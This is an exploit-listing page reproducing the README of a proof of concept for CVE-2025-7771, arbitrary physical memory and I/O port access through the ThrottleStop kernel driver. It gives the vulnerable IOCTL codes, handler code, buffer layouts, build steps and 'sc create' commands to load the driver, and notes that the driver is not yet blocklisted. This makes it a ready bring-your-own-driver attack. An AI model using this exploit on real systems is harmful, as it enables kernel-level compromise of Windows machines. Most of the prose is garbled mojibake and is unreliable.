Sploitus

Exploit for ThrottleStopPoC

kitploit ยท 2026-08-25

Exploit Code

MARKDOWN214 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-FXRSTOR-THROTTLESTOPPOC
# ThrottleStopPoC

**CVE-2025-7771** : ThrottleStop ๋“œ๋ผ์ด๋ฒ„๋ฅผ ํ†ตํ•œ ์ž„์˜ ๋ฌผ๋ฆฌ ๋ฉ”๋ชจ๋ฆฌ ๋ฐ I/O ํฌํŠธ ์ฝ๊ธฐ/์“ฐ๊ธฐ

ThrottleStop์€ CPU ์Šค๋กœํ‹€๋ง์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๊ณ  ์ˆ˜์ •ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” ์ž‘์€ ์ •์‹ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ž…๋‹ˆ๋‹ค. ์ด ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๋“œ๋ผ์ด๋ฒ„๊ฐ€ ์žˆ์œผ๋ฉฐ, ๋Œ€๋ถ€๋ถ„ ์ž…๋ ฅ ๊ฒ€์ฆ์ด ์—†์Šต๋‹ˆ๋‹ค.

## ์ทจ์•ฝํ•œ IOCTL

IOCTL| ์ทจ์•ฝ์   
---|---  
0x80006498| ์ž„์˜ ๋ฉ”๋ชจ๋ฆฌ ์ฝ๊ธฐ  
0x8000649C| ์ž„์˜ ๋ฉ”๋ชจ๋ฆฌ ์“ฐ๊ธฐ  
0x80006430| ์ž„์˜ ํฌํŠธ ์ฝ๊ธฐ  
0x80006434| ์ž„์˜ ํฌํŠธ ์“ฐ๊ธฐ  
  
๋˜ํ•œ ์ž„์˜ MSR ์ฝ๊ธฐ ๋ฐ ์“ฐ๊ธฐ๋„ ์žˆ๋Š” ๊ฒƒ์œผ๋กœ ๋ณด์ด์ง€๋งŒ ์ž‘๋™์‹œํ‚ค์ง€ ๋ชปํ–ˆ์Šต๋‹ˆ๋‹ค. ์ง์ ‘ ํ™•์ธํ•ด ๋ณด์„ธ์š”. MSR ์ฝ๊ธฐ๋Š” `0x80006448`์—, ์“ฐ๊ธฐ๋Š” `0x8000644C`์— ์žˆ์Šต๋‹ˆ๋‹ค.

์ž‘๋™ํ•˜๊ฒŒ ๋˜์—ˆ๋‹ค๋ฉด, ์ ˆ์ฐจ๋ฅผ ์„ค๋ช…ํ•˜๋Š” ์ด์Šˆ๋ฅผ ์ œ์ถœํ•ด ์ฃผ์„ธ์š”.

* * *

> ์•„๋ž˜์— ์–ธ๊ธ‰๋œ ๋ชจ๋“  IOCTL ํ˜ธ์ถœ์€ Exploit.c ํŒŒ์ผ์— ๊ตฌํ˜„๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

* * *

### ์ž„์˜ ๋ฉ”๋ชจ๋ฆฌ ์ฝ๊ธฐ

`0x80006498` IOCTL์€ ์ œ๊ณต๋œ ๋ชจ๋“  ๋ฌผ๋ฆฌ ์ฃผ์†Œ๋ฅผ `MmMapIoSpace`๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ปค๋„ ๊ณต๊ฐ„์— ๋งคํ•‘ํ•˜๊ณ  1, 2, 4, 8๋ฐ”์ดํŠธ๋ฅผ ์ฝ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ ๋ฐ์ดํ„ฐ๊ฐ€ ์‚ฌ์šฉ์ž ๊ณต๊ฐ„์œผ๋กœ ๋ณต์‚ฌ๋ฉ๋‹ˆ๋‹ค.

์ด IOCTL์„ ํŠธ๋ฆฌ๊ฑฐํ•˜๋ ค๋ฉด `DeviceIoControl`์„ ํ˜ธ์ถœํ•˜๋ฉฐ ์ž…๋ ฅ์œผ๋กœ ๋ฌผ๋ฆฌ ์ฃผ์†Œ๋ฅผ, ์ถœ๋ ฅ ๋ฒ„ํผ ํฌ๊ธฐ๋ฅผ ์ฝ๊ธฐ ํฌ๊ธฐ(1, 2, 4, 8)๋กœ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค.

๋“œ๋ผ์ด๋ฒ„์—์„œ ์ด IOCTL์˜ ๊ฐ„๋žตํ™”๋œ ์ฝ”๋“œ:

root@kitploit:~
    
    
    case 0x80006498: {
        size_t readSize = inputBuffer->Size;   // must be 1,2,4,8
        PHYSICAL_ADDRESS physAddr = inputBuffer->PhysAddr;
        void* mappedAddr = MmMapIoSpace(physAddr, readSize, MmNonCached);
    
        if (mappedAddr) {
            if (readSize == 1)
                *outputBuffer = *(uint8_t*)mappedAddr;
            else if (readSize == 2)
                *(uint16_t*)outputBuffer = *(uint16_t*)mappedAddr;
            else if (readSize == 4)
                *(uint32_t*)outputBuffer = *(uint32_t*)mappedAddr;
            else if (readSize == 8)
                *(uint64_t*)outputBuffer = *(uint64_t*)mappedAddr;
    
            MmUnmapIoSpace(mappedAddr, readSize);
        }
    }
    

### ์ž„์˜ ๋ฉ”๋ชจ๋ฆฌ ์“ฐ๊ธฐ

์ฝ๊ธฐ์™€ ์œ ์‚ฌํ•˜๊ฒŒ `0x8000649C` IOCTL์€ ์ œ๊ณต๋œ ๋ฌผ๋ฆฌ ์ฃผ์†Œ๋ฅผ `MmMapIoSpace`๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ปค๋„ ๊ณต๊ฐ„์— ๋งคํ•‘ํ•˜๊ณ  1, 2, 4, 8๋ฐ”์ดํŠธ๋ฅผ ์ฝ์Šต๋‹ˆ๋‹ค.

์ด IOCTL์„ ํŠธ๋ฆฌ๊ฑฐํ•˜๋ ค๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ž…๋ ฅ ๋ฒ„ํผ ๋ ˆ์ด์•„์›ƒ์œผ๋กœ `DeviceIoControl`์„ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค.

root@kitploit:~
    
    
    struct {
        ULONGLONG PhysicalAddress;  // 8 bytes
        union {
            BYTE  Value8;
            WORD  Value16;
            DWORD Value32;
            QWORD Value64;
        };
    };
    

์ž…๋ ฅ ๋ฒ„ํผ ํฌ๊ธฐ๋Š” ์“ฐ๊ธฐ ํฌ๊ธฐ์— ๋”ฐ๋ผ 8 + (1, 2, 4, 8)์ด ๋ฉ๋‹ˆ๋‹ค.

์ถœ๋ ฅ ๋ฒ„ํผ์™€ ์ถœ๋ ฅ ๋ฒ„ํผ ํฌ๊ธฐ๋Š” ์‚ฌ์šฉ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

๋“œ๋ผ์ด๋ฒ„์—์„œ ์ด IOCTL์˜ ๊ฐ„๋žตํ™”๋œ ์ฝ”๋“œ:

root@kitploit:~
    
    
    case 0x8000649C: {
        size_t writeSize = inputBuffer->Size;  // must be 1,2,4,8
        PHYSICAL_ADDRESS physAddr = inputBuffer->PhysAddr;
        void* mappedAddr = MmMapIoSpace(physAddr, writeSize, MmNonCached);
    
        if (mappedAddr) {
            if (writeSize == 1)
                *(uint8_t*)mappedAddr = inputBuffer->Value8;
            else if (writeSize == 2)
                *(uint16_t*)mappedAddr = inputBuffer->Value16;
            else if (writeSize == 4)
                *(uint32_t*)mappedAddr = inputBuffer->Value32;
            else if (writeSize == 8)
                *(uint64_t*)mappedAddr = inputBuffer->Value64;
    
            MmUnmapIoSpace(mappedAddr, writeSize);
        }
    }
    

### ์ž„์˜ ํฌํŠธ ์ฝ๊ธฐ

`0x80006430` IOCTL์„ ์‚ฌ์šฉํ•˜๋ฉด ์‚ฌ์šฉ์ž๊ฐ€ IO ํฌํŠธ๋ฅผ ์ง€์ •ํ•˜๊ณ  `__inbyte`, `__inword` ๋˜๋Š” `__indword`๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ง์ ‘ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ž…๋ ฅ ๋ฒ„ํผ๋Š” `USHORT`์ด๋ฉฐ ์ž…๋ ฅ ๋ฒ„ํผ ํฌ๊ธฐ๋Š” `sizeof(USHORT)`์—ฌ์•ผ ํ•ฉ๋‹ˆ๋‹ค.

์ถœ๋ ฅ ๋ฒ„ํผ๋Š” ๊ฒฐ๊ณผ๋ฅผ ์ €์žฅํ•˜๋ฉฐ(์š”์ฒญ๋œ ํฌ๊ธฐ์— ๋”ฐ๋ผ 1, 2, 4๋ฐ”์ดํŠธ) ์ถœ๋ ฅ ํฌ๊ธฐ๋Š” 1, 2, 4๊ฐ€ ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋“œ๋ผ์ด๋ฒ„์—์„œ ์ด IOCTL์˜ ๊ฐ„๋žตํ™”๋œ ์ฝ”๋“œ:

root@kitploit:~
    
    
    case 0x80006430: {
        uint16_t port = inputBuffer->PortNumber;
        uint8_t size  = inputBuffer->AccessSize; // 1, 2, or 4
    
        if (size == 1)
            *outputBuffer = __inbyte(port);
        else if (size == 2)
            *(uint16_t*)outputBuffer = __inword(port);
        else if (size == 4)
            *(uint32_t*)outputBuffer = __indword(port);
    }
    

### ์ž„์˜ ํฌํŠธ ์“ฐ๊ธฐ

ํฌํŠธ ์ฝ๊ธฐ์™€ ์œ ์‚ฌํ•˜๊ฒŒ `0x80006434` IOCTL์„ ์‚ฌ์šฉํ•˜๋ฉด ์‚ฌ์šฉ์ž๊ฐ€ IO ํฌํŠธ๋ฅผ ์ง€์ •ํ•˜๊ณ  `__outbyte`, `__outword` ๋˜๋Š” `__outdword`๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ž„์˜์˜ ๊ฐ’์„ ์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ž…๋ ฅ ๋ฒ„ํผ ๋ ˆ์ด์•„์›ƒ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.

root@kitploit:~
    
    
    struct {
        USHORT PortNumber;
        BYTE   Padding[2];   // alignment
        union {
            BYTE  Value8;
            WORD  Value16;
            DWORD Value32;
        };
    };
    

์ž…๋ ฅ ๋ฒ„ํผ ํฌ๊ธฐ๋Š” sizeof(USHORT) + sizeof(Value) (+ ํŒจ๋”ฉ)์—ฌ์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ถœ๋ ฅ ๋ฒ„ํผ์™€ ๊ทธ ํฌ๊ธฐ๋Š” ์‚ฌ์šฉ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

๋“œ๋ผ์ด๋ฒ„์—์„œ ์ด IOCTL์˜ ๊ฐ„๋žตํ™”๋œ ์ฝ”๋“œ:

root@kitploit:~
    
    
    case 0x80006434: {
        uint16_t port = inputBuffer->PortNumber;
        uint8_t size  = inputBuffer->AccessSize; // 1, 2, or 4
    
        if (size == 1)
            __outbyte(port, inputBuffer->Value8);
        else if (size == 2)
            __outword(port, inputBuffer->Value16);
        else if (size == 4)
            __outdword(port, inputBuffer->Value32);
    }
    

* * *

### ๊ฐ€์ƒ ์ฃผ์†Œ๋ฅผ ๋ฌผ๋ฆฌ ์ฃผ์†Œ๋กœ ๋ณ€ํ™˜

์ด ๋ณ€ํ™˜์€ ๋ฌธ์„œํ™”๋˜์ง€ ์•Š์€ API๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๊ฐ€์ƒ ์ฃผ์†Œ๋ฅผ ๋ฌผ๋ฆฌ ์ฃผ์†Œ๋กœ ๋ณ€ํ™˜ํ•˜๋Š” ํ•ฉ๋ฒ•์ ์ธ ์ปค๋„ ๋ชจ๋“ˆ์ธ Superfetch๋ฅผ ์•…์šฉํ•˜์—ฌ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ์ด ์ฝ”๋“œ๋Š” vtop.c์— ๊ตฌํ˜„๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

## ๋นŒ๋“œ

์ด ํ”„๋กœ์ ํŠธ๋Š” Meson์„ ์‚ฌ์šฉํ•˜์—ฌ ์ปดํŒŒ์ผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. System ํ”„๋กœ์„ธ์Šค์˜ EPROCESS ๊ตฌ์กฐ์ฒด์˜ `UniqueProcessId` ํ•„๋“œ๋ฅผ `PsInitialSystemProcess`๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ•ด์„ํ•˜๊ณ  `4`์ธ์ง€ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค(Main.c์— ๊ตฌํ˜„๋จ). ํŠน์ • PID์˜ EPROCESS๋ฅผ ์ฐพ๋Š” ํ•จ์ˆ˜๋Š” EProcess.c์— ๊ตฌํ˜„๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ ์‹œ์Šคํ…œ์„ ๊ฐ•์ œ๋กœ ๋‹ค์‹œ ์‹œ์ž‘ํ• ์ง€ ์‚ฌ์šฉ์ž์—๊ฒŒ ๋ฌป์Šต๋‹ˆ๋‹ค. ์ด๋Š” ํฌํŠธ `0xCF9`์— `0x0E` ๊ฐ’์„ ์“ฐ๋Š” ๋ฐฉ์‹์œผ๋กœ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

> **๊ฒฝ๊ณ ** : ๋ชจ๋“  ํ…Œ์ŠคํŠธ๋Š” **Windows 11 ๋นŒ๋“œ 24H2** ์—์„œ ์ˆ˜ํ–‰๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์‹œ์Šคํ…œ์˜ EPROCESS ๊ตฌ์กฐ์ฒด ์˜คํ”„์…‹์€ ๋‹ค๋ฅผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํ”„๋กœ์ ํŠธ ๋นŒ๋“œ:

root@kitploit:~
    
    
    meson setup build
    

๋นŒ๋“œ ๋””๋ ‰ํ„ฐ๋ฆฌ๊ฐ€ ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ ๋‹ค์Œ ๋ช…๋ น์œผ๋กœ ํ”„๋กœ์ ํŠธ๋ฅผ ์ปดํŒŒ์ผํ•ฉ๋‹ˆ๋‹ค.

root@kitploit:~
    
    
    meson compile -C build
    

๋“œ๋ผ์ด๋ฒ„๋Š” ์ €์žฅ์†Œ์˜ `Drivers` ๋””๋ ‰ํ„ฐ๋ฆฌ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ThrottleStop ๋“œ๋ผ์ด๋ฒ„๋Š” Resource Hacker๋ฅผ ํ†ตํ•ด `ThrottleStop.exe` ํ”„๋กœ๊ทธ๋žจ์—์„œ ์ง์ ‘ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. x64 ๋ฐ x86์˜ ๋‘ ๊ฐ€์ง€ ๋“œ๋ผ์ด๋ฒ„๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. `DriverObject->MajorFunction[14]`๋Š” ๋ชจ๋“  IOCTL์ด ๊ตฌํ˜„๋œ ๋””์ŠคํŒจ์น˜ ํ•จ์ˆ˜๋ฅผ ๋ณด์œ ํ•ฉ๋‹ˆ๋‹ค.

๋‹ค์Œ์„ ์‚ฌ์šฉํ•˜์—ฌ ๋“œ๋ผ์ด๋ฒ„ ์ƒ์„ฑ ๋ฐ ์‹œ์ž‘:

root@kitploit:~
    
    
    sc create ThrottleStop binPath="<Path>" type=kernel
    sc start ThrottleStop
    

## ์ฐธ๊ณ  ์ž๋ฃŒ

https://github.com/jonomango/superfetch

์ด ๋“œ๋ผ์ด๋ฒ„๋Š” ์•„์ง Microsoft ๋“œ๋ผ์ด๋ฒ„ ์ฐจ๋‹จ ๋ชฉ๋ก์ด๋‚˜ loldrivers์— ์ถ”๊ฐ€๋˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค.